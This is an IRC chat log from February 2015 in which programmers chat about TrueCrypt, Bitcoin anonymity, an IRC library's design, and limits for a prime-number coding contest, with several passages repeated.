[2015-02-24T00:30:49-0500] <+awe> For example, calc0000.
[2015-02-24T00:30:57-0500] <hardmath123> And there was that security library that was recently shut down (the one that's being audited by a crowdsourced thing).
[2015-02-24T00:31:14-0500] <+awe> Oh, I know what library you're talking about.
[2015-02-24T00:31:17-0500] <+awe> I can't remember though.
[2015-02-24T00:31:52-0500] <grantwu> TrueCrypt
[2015-02-24T00:31:54-0500] <+awe> Yeah.
[2015-02-24T00:31:56-0500] <+awe> That.
[2015-02-24T00:32:12-0500] <+awe> hardmath123: Also, it'd be ideologically inconsistent for the author(s) of Bitcoin to have revealed their identity.
[2015-02-24T00:32:18-0500] <grantwu> Imo Bitcoin has bigger problems than that.  Like being a terrible store of value.
[2015-02-24T00:32:25-0500] <hardmath123> http://blog.cryptographyengineering.com/2015/02/another-update-on-truecrypt-audit.html
[2015-02-24T00:32:28-0500] <+awe> grantwu: welcome to fiat currencies, friend.
[2015-02-24T00:32:29-0500] <hardmath123> oh ninja'd
[2015-02-24T00:32:45-0500] <grantwu> Eh, well, USD hasn't been nearly as volatile as USD
[2015-02-24T00:32:49-0500] <grantwu> er bitcoin rather
[2015-02-24T00:33:00-0500] <+awe> Only because it wasn't always a fiat currency.
[2015-02-24T00:33:10-0500] <grantwu> Eh I guess
[2015-02-24T00:33:27-0500] <hardmath123> awe: Just because you advocate privacy doesn't mean you shouldn't do so publicly :P
[2015-02-24T00:33:29-0500] <+awe> It had the advantage of stabilizing during a period where it's value was pegged to something concrete, and then being turned into meaningless money.
[2015-02-24T00:33:39-0500] <+awe> hardmath123: It's not about that.
[2015-02-24T00:33:54-0500] <hardmath123> that was re: "it'd be ideologically inconsistent for the author(s) of Bitcoin to have revealed their identity"
[2015-02-24T00:33:58-0500] <+awe> hardmath123: Bitcoin is about decentralizing wealth.
[2015-02-24T00:34:10-0500] <+awe> hardmath123: You don't really do that when everyone talks about "the great inventor of Bitcoin"
[2015-02-24T00:34:27-0500] <+awe> hardmath123: That person then has undue influence over the creation.
[2015-02-24T00:34:36-0500] <hardmath123> Why not?
[2015-02-24T00:34:37-0500] <+awe> They didn't reveal their identity because they wanted to be able to contribute to bitcoin without being revered.
[2015-02-24T00:34:53-0500] <+awe> Look at Linux.
[2015-02-24T00:34:56-0500] <grantwu> Eh who knows why they did it
[2015-02-24T00:35:02-0500] <+awe> If Linus Torvalds wants something to happen, it happens.
[2015-02-24T00:35:03-0500] <grantwu> They do have a large cache of bitcoins
[2015-02-24T00:35:38-0500] <+awe> Maybe that wouldn't happen with Bitcoin, but I'd be worried about it and I think that's why they chose to remain anonymous.
[2015-02-24T00:35:44-0500] <+awe> Plus, also fear of persecution and stuff.
[2015-02-24T00:36:51-0500] awe changed the topic to PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-02-24T00:37:21-0500] <hardmath123> qdb isn't temporary anymore? O_o
[2015-02-24T00:37:30-0500] <+awe> It's not temporary until it changes.
[2015-02-24T00:37:34-0500] <+awe> If we replace it, I'll replace it.
[2015-02-24T00:37:37-0500] <+awe> No big deal.
[2015-02-24T00:37:50-0500] <+awe> @quotes
[2015-02-24T00:37:52-0500] <+awe> @quote
[2015-02-24T00:37:53-0500] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-02-24T00:37:55-0500] <+awe> @quote
[2015-02-24T00:37:55-0500] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-02-24T00:38:04-0500] <+awe> awebot has some quote support though.
[2015-02-24T00:38:07-0500] <+awe> for one-liners.
[2015-02-24T00:38:29-0500] <LittleBobbyTables> We need zerocoin
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[2015-02-24T00:40:27-0500] <+awe> LittleBobbyTables: eh.
[2015-02-24T00:41:01-0500] <+awe> LittleBobbyTables: we just need better tumblers.
[2015-02-24T00:41:11-0500] <LittleBobbyTables> Zerocoin is essentially that
[2015-02-24T00:42:05-0500] <LittleBobbyTables> It's tumblers built into the chain
[2015-02-24T00:42:37-0500] <LittleBobbyTables> 1:1 ratio, put bitcoin into zerocoin, transfer wherever, take zerocoin out (someone elses), trade back to btc
[2015-02-24T00:43:03-0500] <+awe> Yeah, I know.
[2015-02-24T00:45:50-0500] <hardmath123> gah
[2015-02-24T00:45:59-0500] <hardmath123> my robotics team application is due yesterday.
[2015-02-24T00:46:09-0500] <hardmath123> with a lame topic.
[2015-02-24T00:48:47-0500] <+awe> hardmath123: lol.
[2015-02-24T00:50:22-0500] <hardmath123> I'm planning on emailing it tonight saying I wasn't around today because of HMMT.
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[2015-02-24T01:03:42-0500] <+awe> hardmath123: isn't that a lie?
[2015-02-24T01:04:08-0500] <hardmath123> It's a lie, yes.
[2015-02-24T01:04:17-0500] <hardmath123> But it is, to a very large extent, justified in context.
[2015-02-24T01:10:05-0500] <+awe> I don't know if I agree, hardmath123.
[2015-02-24T01:11:48-0500] <hardmath123> I gave this some thought.
[2015-02-24T01:11:48-0500] <+awe> https://en.wikipedia.org/wiki/Winklevoss_twins
[2015-02-24T01:11:50-0500] <+awe> This is terrifying.
[2015-02-24T01:12:03-0500] <+awe> They're the same people.
[2015-02-24T01:13:24-0500] <+awe> Went to all the same schools, did all the same activities, had the same interests, etc.
[2015-02-24T01:30:08-0500] <+awe> @tell Fill what if we eliminate the need to construct Wrappers by making it just a trait that's implemented for all things implementing the Server type.
[2015-02-24T01:30:09-0500] <+awebot> awe: I'll let them know!
[2015-02-24T01:31:08-0500] <+awe> @tell Fill that way, you can not have the functionality if you don't want to use it (just don't bring the trait in), but you also don't need to make it.
[2015-02-24T01:31:08-0500] <+awebot> awe: I'll let them know!
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[2015-02-24T01:38:19-0500] <+awe> @tell Fill https://github.com/aatxe/irc/issues/19 :)
[2015-02-24T01:38:20-0500] <+awebot> awe: I'll let them know!
[2015-02-24T01:39:43-0500] <+awe> I'm disappointed in myself for not noticing this design pattern earlier.
[2015-02-24T01:39:47-0500] <+awe> It's so obvious.
[2015-02-24T01:42:40-0500] <LittleBobbyTables> das cuz u dummy
[2015-02-24T01:42:51-0500] <+awe> thanks, LittleBobbyTables.
[2015-02-24T01:43:00-0500] <LittleBobbyTables> np
[2015-02-24T01:43:21-0500] <+awe> It should make using my library a lot nicer in practice.
[2015-02-24T01:43:31-0500] <+awe> and significantly less awkward with multithreading.
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[2015-02-24T09:53:12-0500] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-02-24T09:53:12-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-24T00:37:21-0500] <hardmath123> qdb isn't temporary anymore? O_o
[2015-02-24T00:37:30-0500] <+awe> It's not temporary until it changes.
[2015-02-24T00:37:34-0500] <+awe> If we replace it, I'll replace it.
[2015-02-24T00:37:37-0500] <+awe> No big deal.
[2015-02-24T00:37:50-0500] <+awe> @quotes
[2015-02-24T00:37:52-0500] <+awe> @quote
[2015-02-24T00:37:52-0500] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-02-24T00:37:55-0500] <+awe> @quote
[2015-02-24T00:37:55-0500] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-02-24T00:38:04-0500] <+awe> awebot has some quote support though.
[2015-02-24T00:38:07-0500] <+awe> for one-liners.
[2015-02-24T00:38:29-0500] <LittleBobbyTables> We need zerocoin
[2015-02-24T00:40:27-0500] <+awe> LittleBobbyTables: eh.
[2015-02-24T00:41:00-0500] <+awe> LittleBobbyTables: we just need better tumblers.
[2015-02-24T00:41:11-0500] <LittleBobbyTables> Zerocoin is essentially that
[2015-02-24T00:42:04-0500] <LittleBobbyTables> It's tumblers built into the chain
[2015-02-24T00:42:37-0500] <LittleBobbyTables> 1:1 ratio, put bitcoin into zerocoin, transfer wherever, take zerocoin out (someone elses), trade back to btc
[2015-02-24T00:43:03-0500] <+awe> Yeah, I know.
[2015-02-24T00:45:50-0500] <hardmath123> gah
[2015-02-24T00:45:59-0500] <hardmath123> my robotics team application is due yesterday.
[2015-02-24T00:46:09-0500] <hardmath123> with a lame topic.
[2015-02-24T00:48:47-0500] <+awe> hardmath123: lol.
[2015-02-24T00:50:22-0500] <hardmath123> I'm planning on emailing it tonight saying I wasn't around today because of HMMT.
[2015-02-24T01:03:42-0500] <+awe> hardmath123: isn't that a lie?
[2015-02-24T01:04:08-0500] <hardmath123> It's a lie, yes.
[2015-02-24T01:04:17-0500] <hardmath123> But it is, to a very large extent, justified in context.
[2015-02-24T01:10:05-0500] <+awe> I don't know if I agree, hardmath123.
[2015-02-24T01:11:48-0500] <hardmath123> I gave this some thought.
[2015-02-24T01:11:48-0500] <+awe> https://en.wikipedia.org/wiki/Winklevoss_twins
[2015-02-24T01:11:50-0500] <+awe> This is terrifying.
[2015-02-24T01:12:03-0500] <+awe> They're the same people.
[2015-02-24T01:13:24-0500] <+awe> Went to all the same schools, did all the same activities, had the same interests, etc.
[2015-02-24T01:30:08-0500] <+awe> @tell Fill what if we eliminate the need to construct Wrappers by making it just a trait that's implemented for all things implementing the Server type.
[2015-02-24T01:30:09-0500] <+awebot> awe: I'll let them know!
[2015-02-24T01:31:08-0500] <+awe> @tell Fill that way, you can not have the functionality if you don't want to use it (just don't bring the trait in), but you also don't need to make it.
[2015-02-24T01:31:08-0500] <+awebot> awe: I'll let them know!
[2015-02-24T01:38:19-0500] <+awe> @tell Fill https://github.com/aatxe/irc/issues/19 :)
[2015-02-24T01:38:20-0500] <+awebot> awe: I'll let them know!
[2015-02-24T01:39:43-0500] <+awe> I'm disappointed in myself for not noticing this design pattern earlier.
[2015-02-24T01:39:47-0500] <+awe> It's so obvious.
[2015-02-24T01:42:40-0500] <LittleBobbyTables> das cuz u dummy
[2015-02-24T01:42:51-0500] <+awe> thanks, LittleBobbyTables.
[2015-02-24T01:43:00-0500] <LittleBobbyTables> np
[2015-02-24T01:43:21-0500] <+awe> It should make using my library a lot nicer in practice.
[2015-02-24T01:43:31-0500] <+awe> and significantly less awkward with multithreading.
[2015-02-24T02:24:54-0500] <hardmath123> Gmail saved me from an embarrassing moment.
[2015-02-24T02:24:59-0500] <hardmath123> This is a first.
[2015-02-24T02:25:37-0500] <hardmath123> "You said 'I've attached' but you haven't attached anything."
[2015-02-24T06:41:22-0500] <JacobEdelman_> what did I miss from yesterday?
[2015-02-24T06:41:29-0500] <JacobEdelman_> did Hyper make the rules?
[2015-02-24T09:53:13-0500] Mode is +nt
[2015-02-24T09:53:28-0500] <+awe> JacobEdelman_: we banned numpy
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[2015-02-24T10:14:03-0500] <Hyper> more accurately, we banned anything not in a language's standard library
[2015-02-24T10:21:58-0500] <+awe> So, the only difference between multithreaded and not in my library now is that you have to stuff the server into an Arc and then get a new reference from it for each thread.
[2015-02-24T10:22:12-0500] <+awe> No more creating a new struct per thread from the arc and so forth.
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[2015-02-24T12:54:41-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-24T11:27:06-0500] <JacobEdelman_> if you desire primes very high primes
[2015-02-24T11:27:10-0500] <JacobEdelman_> than generating a bunch of primes
[2015-02-24T11:27:13-0500] <JacobEdelman_> will hardly help you
[2015-02-24T11:27:14-0500] <JacobEdelman_> I mean
[2015-02-24T11:27:16-0500] <JacobEdelman_> theres no chance
[2015-02-24T11:27:20-0500] <JacobEdelman_> you will be able too
[2015-02-24T11:27:30-0500] <JacobEdelman_> generate 200000000000 primes
[2015-02-24T11:27:40-0500] <JacobEdelman_> or even 2,000,000 primes
[2015-02-24T11:27:45-0500] <JacobEdelman_> in a small file
[2015-02-24T11:28:04-0500] <JacobEdelman_> if you limit the file size to 1 MB
[2015-02-24T11:28:08-0500] <JacobEdelman_> than we would be fine
[2015-02-24T11:28:21-0500] <Hyper> it can help to have a number precomputed. perhaps it wouldn't save much time, but it would save some. Plus, it advantages languages where you have more control of the executable output format than others
[2015-02-24T11:29:15-0500] <JacobEdelman_> I know it can help
[2015-02-24T11:29:25-0500] <JacobEdelman_> but it will only help
[2015-02-24T11:29:27-0500] <JacobEdelman_> in relation
[2015-02-24T11:29:31-0500] <JacobEdelman_> to how many primes you stored
[2015-02-24T11:29:37-0500] <JacobEdelman_> wait
[2015-02-24T11:29:38-0500] <JacobEdelman_> sorry
[2015-02-24T11:29:40-0500] <JacobEdelman_> messed that up
[2015-02-24T11:29:42-0500] <JacobEdelman_> in relation
[2015-02-24T11:29:46-0500] <JacobEdelman_> to how your algo uses them
[2015-02-24T11:29:47-0500] <JacobEdelman_> I mean
[2015-02-24T11:30:09-0500] <JacobEdelman_> oh wait
[2015-02-24T11:30:13-0500] <JacobEdelman_> I lost the link
[2015-02-24T11:30:14-0500] <JacobEdelman_> but the just
[2015-02-24T11:30:16-0500] <JacobEdelman_> is you
[2015-02-24T11:30:24-0500] <JacobEdelman_> have every 1000000th prime or whatever
[2015-02-24T11:30:27-0500] <JacobEdelman_> so you can tell
[2015-02-24T11:30:30-0500] <JacobEdelman_> whether any given prime
[2015-02-24T11:30:43-0500] <JacobEdelman_> is below one number or higher than another number
[2015-02-24T11:30:52-0500] <JacobEdelman_> thats the basic idea
[2015-02-24T11:30:54-0500] <JacobEdelman_> but fine
[2015-02-24T11:31:02-0500] <JacobEdelman_> if you want to ban any prime storage
[2015-02-24T11:31:04-0500] <JacobEdelman_> I guess its fine
[2015-02-24T11:31:39-0500] <Hyper> JacobEdelman_: there's actually a formula for an upper bound to the value of the nth prime I believe
[2015-02-24T11:31:45-0500] <Hyper> which can do part of that for you
[2015-02-24T11:31:50-0500] <Hyper> not all of it
[2015-02-24T11:32:33-0500] <JacobEdelman_> okay
[2015-02-24T11:32:34-0500] <JacobEdelman_> also
[2015-02-24T11:32:46-0500] <JacobEdelman_> what size of primes will you be looking for?
[2015-02-24T11:32:50-0500] <JacobEdelman_> a range owuld be nice
[2015-02-24T11:33:13-0500] <JacobEdelman_> I vote something like 10*30th prime
[2015-02-24T11:33:19-0500] <JacobEdelman_> or something similarly gigant
[2015-02-24T11:33:23-0500] <JacobEdelman_> maybe 10*100th
[2015-02-24T11:33:29-0500] <JacobEdelman_> *10^100th
[2015-02-24T11:34:18-0500] <Hyper> JacobEdelman_: It'll fit into a 32 bit integer
[2015-02-24T11:35:42-0500] <Hyper> JacobEdelman: 32 bit integer, if my internet failed before that went through
[2015-02-24T11:37:01-0500] <Hyper> gahhh wtf is the internet here doing
[2015-02-24T11:37:08-0500] <Hyper> JacobEdelman_: did you get my response?
[2015-02-24T11:40:03-0500] <Hyper> i'm not making people compute the googol'th prime wtf
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[2015-02-24T12:55:12-0500] <+awe> JacobEdelman_: lol, 10^100.
[2015-02-24T12:55:43-0500] <JacobEdelman_> the googlth prime should be computable
[2015-02-24T12:55:46-0500] <JacobEdelman_> in reasonable time
[2015-02-24T12:55:46-0500] <+awe> No.
[2015-02-24T12:55:47-0500] <JacobEdelman_> oh wair
[2015-02-24T12:55:50-0500] <JacobEdelman_> *wait
[2015-02-24T12:55:51-0500] <JacobEdelman_> maybe not
[2015-02-24T12:55:52-0500] <+awe> Do you know how much memory that requires?
[2015-02-24T12:55:55-0500] <JacobEdelman_> actually, probaly not
[2015-02-24T12:56:05-0500] <JacobEdelman_> awe: it doesn't have to take that much memory...
[2015-02-24T12:56:10-0500] <JacobEdelman_> but yeah
[2015-02-24T12:56:14-0500] <+awe> It can either take buttloads of memory or buttloads of time.
[2015-02-24T12:56:14-0500] <JacobEdelman_> you're right
[2015-02-24T12:56:15-0500] <+awe> Pick one.
[2015-02-24T12:56:25-0500] <JacobEdelman_> fine, 32 bit integer is right
[2015-02-24T12:56:31-0500] <+awe> Sieve of Erastothenes will take like > 1 TB
[2015-02-24T12:57:12-0500] <+awe> The memory-efficient one that's name I can't remember will take all eternity to calculate.
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[2015-02-24T14:52:42-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-02-24T11:30:09-0500] <JacobEdelman_> oh wait
[2015-02-24T11:30:13-0500] <JacobEdelman_> I lost the link
[2015-02-24T11:30:14-0500] <JacobEdelman_> but the just
[2015-02-24T11:30:16-0500] <JacobEdelman_> is you
[2015-02-24T11:30:24-0500] <JacobEdelman_> have every 1000000th prime or whatever
[2015-02-24T11:30:27-0500] <JacobEdelman_> so you can tell
[2015-02-24T11:30:30-0500] <JacobEdelman_> whether any given prime
[2015-02-24T11:30:43-0500] <JacobEdelman_> is below one number or higher than another number
[2015-02-24T11:30:52-0500] <JacobEdelman_> thats the basic idea
[2015-02-24T11:30:54-0500] <JacobEdelman_> but fine
[2015-02-24T11:31:02-0500] <JacobEdelman_> if you want to ban any prime storage
[2015-02-24T11:31:04-0500] <JacobEdelman_> I guess its fine
[2015-02-24T11:31:39-0500] <Hyper> JacobEdelman_: there's actually a formula for an upper bound to the value of the nth prime I believe
[2015-02-24T11:31:45-0500] <Hyper> which can do part of that for you
[2015-02-24T11:31:50-0500] <Hyper> not all of it
[2015-02-24T11:32:33-0500] <JacobEdelman_> okay
[2015-02-24T11:32:34-0500] <JacobEdelman_> also
[2015-02-24T11:32:46-0500] <JacobEdelman_> what size of primes will you be looking for?
[2015-02-24T11:32:50-0500] <JacobEdelman_> a range owuld be nice
[2015-02-24T11:33:13-0500] <JacobEdelman_> I vote something like 10*30th prime
[2015-02-24T11:33:19-0500] <JacobEdelman_> or something similarly gigant
[2015-02-24T11:33:23-0500] <JacobEdelman_> maybe 10*100th
[2015-02-24T11:33:29-0500] <JacobEdelman_> *10^100th
[2015-02-24T11:34:18-0500] <Hyper> JacobEdelman_: It'll fit into a 32 bit integer
[2015-02-24T11:35:42-0500] <Hyper> JacobEdelman: 32 bit integer, if my internet failed before that went through
[2015-02-24T11:37:01-0500] <Hyper> gahhh wtf is the internet here doing
[2015-02-24T11:37:08-0500] <Hyper> JacobEdelman_: did you get my response?
[2015-02-24T11:40:03-0500] <Hyper> i'm not making people compute the googol'th prime wtf
[2015-02-24T12:55:07-0500] <+awe> JacobEdelman_: lol, 10^100.
[2015-02-24T12:55:38-0500] <JacobEdelman_> the googlth prime should be computable
[2015-02-24T12:55:41-0500] <JacobEdelman_> in reasonable time
[2015-02-24T12:55:41-0500] <+awe> No.
[2015-02-24T12:55:42-0500] <JacobEdelman_> oh wair
[2015-02-24T12:55:45-0500] <JacobEdelman_> *wait
[2015-02-24T12:55:46-0500] <JacobEdelman_> maybe not
[2015-02-24T12:55:47-0500] <+awe> Do you know how much memory that requires?
[2015-02-24T12:55:50-0500] <JacobEdelman_> actually, probaly not
[2015-02-24T12:56:00-0500] <JacobEdelman_> awe: it doesn't have to take that much memory...
[2015-02-24T12:56:05-0500] <JacobEdelman_> but yeah
[2015-02-24T12:56:08-0500] <+awe> It can either take buttloads of memory or buttloads of time.
[2015-02-24T12:56:09-0500] <JacobEdelman_> you're right
[2015-02-24T12:56:10-0500] <+awe> Pick one.
[2015-02-24T12:56:20-0500] <JacobEdelman_> fine, 32 bit integer is right
[2015-02-24T12:56:26-0500] <+awe> Sieve of Erastothenes will take like > 1 TB
[2015-02-24T12:57:07-0500] <+awe> The memory-efficient one that's name I can't remember will take all eternity to calculate.
[2015-02-24T13:13:43-0500] <JacobEdelman_> wow
[2015-02-24T13:13:45-0500] <JacobEdelman_> yeah
[2015-02-24T13:13:56-0500] <JacobEdelman_> I badly calculated prime calculations algorithmic complexity
[2015-02-24T13:14:02-0500] <JacobEdelman_> very badly
[2015-02-24T14:05:29-0500] <JacobEdelman_> nezorg: do sctf
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[2015-02-24T11:30:09-0500] <JacobEdelman_> oh wait
[2015-02-24T11:30:13-0500] <JacobEdelman_> I lost the link
[2015-02-24T11:30:14-0500] <JacobEdelman_> but the just
[2015-02-24T11:30:16-0500] <JacobEdelman_> is you
[2015-02-24T11:30:24-0500] <JacobEdelman_> have every 1000000th prime or whatever
[2015-02-24T11:30:27-0500] <JacobEdelman_> so you can tell
[2015-02-24T11:30:30-0500] <JacobEdelman_> whether any given prime
[2015-02-24T11:30:43-0500] <JacobEdelman_> is below one number or higher than another number
[2015-02-24T11:30:52-0500] <JacobEdelman_> thats the basic idea
[2015-02-24T11:30:54-0500] <JacobEdelman_> but fine
[2015-02-24T11:31:02-0500] <JacobEdelman_> if you want to ban any prime storage
[2015-02-24T11:31:04-0500] <JacobEdelman_> I guess its fine
[2015-02-24T11:31:39-0500] <Hyper> JacobEdelman_: there's actually a formula for an upper bound to the value of the nth prime I believe
[2015-02-24T11:31:45-0500] <Hyper> which can do part of that for you
[2015-02-24T11:31:50-0500] <Hyper> not all of it
[2015-02-24T11:32:33-0500] <JacobEdelman_> okay
[2015-02-24T11:32:34-0500] <JacobEdelman_> also
[2015-02-24T11:32:46-0500] <JacobEdelman_> what size of primes will you be looking for?
[2015-02-24T11:32:50-0500] <JacobEdelman_> a range owuld be nice
[2015-02-24T11:33:13-0500] <JacobEdelman_> I vote something like 10*30th prime
[2015-02-24T11:33:19-0500] <JacobEdelman_> or something similarly gigant
[2015-02-24T11:33:23-0500] <JacobEdelman_> maybe 10*100th
[2015-02-24T11:33:29-0500] <JacobEdelman_> *10^100th
[2015-02-24T11:34:18-0500] <Hyper> JacobEdelman_: It'll fit into a 32 bit integer
[2015-02-24T11:35:42-0500] <Hyper> JacobEdelman: 32 bit integer, if my internet failed before that went through
[2015-02-24T11:37:01-0500] <Hyper> gahhh wtf is the internet here doing
[2015-02-24T11:37:08-0500] <Hyper> JacobEdelman_: did you get my response?
[2015-02-24T11:40:03-0500] <Hyper> i'm not making people compute the googol'th prime wtf
[2015-02-24T12:55:07-0500] <+awe> JacobEdelman_: lol, 10^100.
[2015-02-24T12:55:38-0500] <JacobEdelman_> the googlth prime should be computable
[2015-02-24T12:55:41-0500] <JacobEdelman_> in reasonable time
[2015-02-24T12:55:41-0500] <+awe> No.
[2015-02-24T12:55:42-0500] <JacobEdelman_> oh wair
[2015-02-24T12:55:45-0500] <JacobEdelman_> *wait
[2015-02-24T12:55:46-0500] <JacobEdelman_> maybe not
[2015-02-24T12:55:47-0500] <+awe> Do you know how much memory that requires?
[2015-02-24T12:55:50-0500] <JacobEdelman_> actually, probaly not
[2015-02-24T12:56:00-0500] <JacobEdelman_> awe: it doesn't have to take that much memory...
[2015-02-24T12:56:05-0500] <JacobEdelman_> but yeah
[2015-02-24T12:56:08-0500] <+awe> It can either take buttloads of memory or buttloads of time.
[2015-02-24T12:56:09-0500] <JacobEdelman_> you're right
[2015-02-24T12:56:10-0500] <+awe> Pick one.
[2015-02-24T12:56:20-0500] <JacobEdelman_> fine, 32 bit integer is right
[2015-02-24T12:56:26-0500] <+awe> Sieve of Erastothenes will take like > 1 TB
[2015-02-24T12:57:07-0500] <+awe> The memory-efficient one that's name I can't remember will take all eternity to calculate.
[2015-02-24T13:13:43-0500] <JacobEdelman_> wow
[2015-02-24T13:13:45-0500] <JacobEdelman_> yeah
[2015-02-24T13:13:56-0500] <JacobEdelman_> I badly calculated prime calculations algorithmic complexity
[2015-02-24T13:14:02-0500] <JacobEdelman_> very badly
[2015-02-24T14:05:29-0500] <JacobEdelman_> nezorg: do sctf
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[2015-02-24T15:26:36-0500] <Hyper> Ok, here's the new rule (and this probably works in y'alls favor). The value of the prime I will ask for will be < 2^32
[2015-02-24T15:26:40-0500] <Hyper> so you can fit it in an int
[2015-02-24T15:31:41-0500] <+awe> so n will be < 2^32?
[2015-02-24T15:31:46-0500] <+awe> or the nth prime will be less than 2^32
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[2015-02-24T11:30:30-0500] <JacobEdelman_> whether any given prime
[2015-02-24T11:30:43-0500] <JacobEdelman_> is below one number or higher than another number
[2015-02-24T11:30:52-0500] <JacobEdelman_> thats the basic idea
[2015-02-24T11:30:54-0500] <JacobEdelman_> but fine
[2015-02-24T11:31:02-0500] <JacobEdelman_> if you want to ban any prime storage
[2015-02-24T11:31:04-0500] <JacobEdelman_> I guess its fine
[2015-02-24T11:31:39-0500] <Hyper> JacobEdelman_: there's actually a formula for an upper bound to the value of the nth prime I believe
[2015-02-24T11:31:45-0500] <Hyper> which can do part of that for you
[2015-02-24T11:31:50-0500] <Hyper> not all of it
[2015-02-24T11:32:33-0500] <JacobEdelman_> okay
[2015-02-24T11:32:34-0500] <JacobEdelman_> also
[2015-02-24T11:32:46-0500] <JacobEdelman_> what size of primes will you be looking for?
[2015-02-24T11:32:50-0500] <JacobEdelman_> a range owuld be nice
[2015-02-24T11:33:13-0500] <JacobEdelman_> I vote something like 10*30th prime
[2015-02-24T11:33:19-0500] <JacobEdelman_> or something similarly gigant
[2015-02-24T11:33:23-0500] <JacobEdelman_> maybe 10*100th
[2015-02-24T11:33:29-0500] <JacobEdelman_> *10^100th
[2015-02-24T11:34:18-0500] <Hyper> JacobEdelman_: It'll fit into a 32 bit integer
[2015-02-24T11:35:42-0500] <Hyper> JacobEdelman: 32 bit integer, if my internet failed before that went through
[2015-02-24T11:37:01-0500] <Hyper> gahhh wtf is the internet here doing
[2015-02-24T11:37:08-0500] <Hyper> JacobEdelman_: did you get my response?
[2015-02-24T11:40:03-0500] <Hyper> i'm not making people compute the googol'th prime wtf
[2015-02-24T12:55:07-0500] <+awe> JacobEdelman_: lol, 10^100.
[2015-02-24T12:55:38-0500] <JacobEdelman_> the googlth prime should be computable
[2015-02-24T12:55:41-0500] <JacobEdelman_> in reasonable time
[2015-02-24T12:55:41-0500] <+awe> No.
[2015-02-24T12:55:42-0500] <JacobEdelman_> oh wair
[2015-02-24T12:55:45-0500] <JacobEdelman_> *wait
[2015-02-24T12:55:46-0500] <JacobEdelman_> maybe not
[2015-02-24T12:55:47-0500] <+awe> Do you know how much memory that requires?
[2015-02-24T12:55:50-0500] <JacobEdelman_> actually, probaly not
[2015-02-24T12:56:00-0500] <JacobEdelman_> awe: it doesn't have to take that much memory...
[2015-02-24T12:56:05-0500] <JacobEdelman_> but yeah
[2015-02-24T12:56:08-0500] <+awe> It can either take buttloads of memory or buttloads of time.
[2015-02-24T12:56:09-0500] <JacobEdelman_> you're right
[2015-02-24T12:56:10-0500] <+awe> Pick one.
[2015-02-24T12:56:20-0500] <JacobEdelman_> fine, 32 bit integer is right
[2015-02-24T12:56:26-0500] <+awe> Sieve of Erastothenes will take like > 1 TB
[2015-02-24T12:57:07-0500] <+awe> The memory-efficient one that's name I can't remember will take all eternity to calculate.
[2015-02-24T13:13:43-0500] <JacobEdelman_> wow
[2015-02-24T13:13:45-0500] <JacobEdelman_> yeah
[2015-02-24T13:13:56-0500] <JacobEdelman_> I badly calculated prime calculations algorithmic complexity
[2015-02-24T13:14:02-0500] <JacobEdelman_> very badly
[2015-02-24T14:05:29-0500] <JacobEdelman_> nezorg: do sctf
[2015-02-24T15:26:30-0500] <Hyper> Ok, here's the new rule (and this probably works in y'alls favor). The value of the prime I will ask for will be < 2^32
[2015-02-24T15:26:35-0500] <Hyper> so you can fit it in an int
[2015-02-24T15:31:35-0500] <+awe> so n will be < 2^32?
[2015-02-24T15:31:40-0500] <+awe> or the nth prime will be less than 2^32
[2015-02-24T15:40:48-0500] <Hyper> awe: P(n) < 2^32
[2015-02-24T15:41:15-0500] <Hyper> also I just finished my "be a cheaty-cheater and evaluate at compile time" solution, so yay
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[2015-02-24T11:30:30-0500] <JacobEdelman_> whether any given prime
[2015-02-24T11:30:43-0500] <JacobEdelman_> is below one number or higher than another number
[2015-02-24T11:30:52-0500] <JacobEdelman_> thats the basic idea
[2015-02-24T11:30:54-0500] <JacobEdelman_> but fine
[2015-02-24T11:31:02-0500] <JacobEdelman_> if you want to ban any prime storage
[2015-02-24T11:31:04-0500] <JacobEdelman_> I guess its fine
[2015-02-24T11:31:39-0500] <Hyper> JacobEdelman_: there's actually a formula for an upper bound to the value of the nth prime I believe
[2015-02-24T11:31:45-0500] <Hyper> which can do part of that for you
[2015-02-24T11:31:50-0500] <Hyper> not all of it
[2015-02-24T11:32:33-0500] <JacobEdelman_> okay
[2015-02-24T11:32:34-0500] <JacobEdelman_> also
[2015-02-24T11:32:46-0500] <JacobEdelman_> what size of primes will you be looking for?
[2015-02-24T11:32:50-0500] <JacobEdelman_> a range owuld be nice
[2015-02-24T11:33:13-0500] <JacobEdelman_> I vote something like 10*30th prime
[2015-02-24T11:33:19-0500] <JacobEdelman_> or something similarly gigant
[2015-02-24T11:33:23-0500] <JacobEdelman_> maybe 10*100th
[2015-02-24T11:33:29-0500] <JacobEdelman_> *10^100th
[2015-02-24T11:34:18-0500] <Hyper> JacobEdelman_: It'll fit into a 32 bit integer
[2015-02-24T11:35:42-0500] <Hyper> JacobEdelman: 32 bit integer, if my internet failed before that went through
[2015-02-24T11:37:01-0500] <Hyper> gahhh wtf is the internet here doing
[2015-02-24T11:37:08-0500] <Hyper> JacobEdelman_: did you get my response?
[2015-02-24T11:40:03-0500] <Hyper> i'm not making people compute the googol'th prime wtf
[2015-02-24T12:55:07-0500] <+awe> JacobEdelman_: lol, 10^100.
[2015-02-24T12:55:38-0500] <JacobEdelman_> the googlth prime should be computable
[2015-02-24T12:55:41-0500] <JacobEdelman_> in reasonable time
[2015-02-24T12:55:41-0500] <+awe> No.
[2015-02-24T12:55:42-0500] <JacobEdelman_> oh wair
[2015-02-24T12:55:45-0500] <JacobEdelman_> *wait
[2015-02-24T12:55:46-0500] <JacobEdelman_> maybe not
[2015-02-24T12:55:47-0500] <+awe> Do you know how much memory that requires?
[2015-02-24T12:55:50-0500] <JacobEdelman_> actually, probaly not
[2015-02-24T12:56:00-0500] <JacobEdelman_> awe: it doesn't have to take that much memory...
[2015-02-24T12:56:05-0500] <JacobEdelman_> but yeah
[2015-02-24T12:56:08-0500] <+awe> It can either take buttloads of memory or buttloads of time.
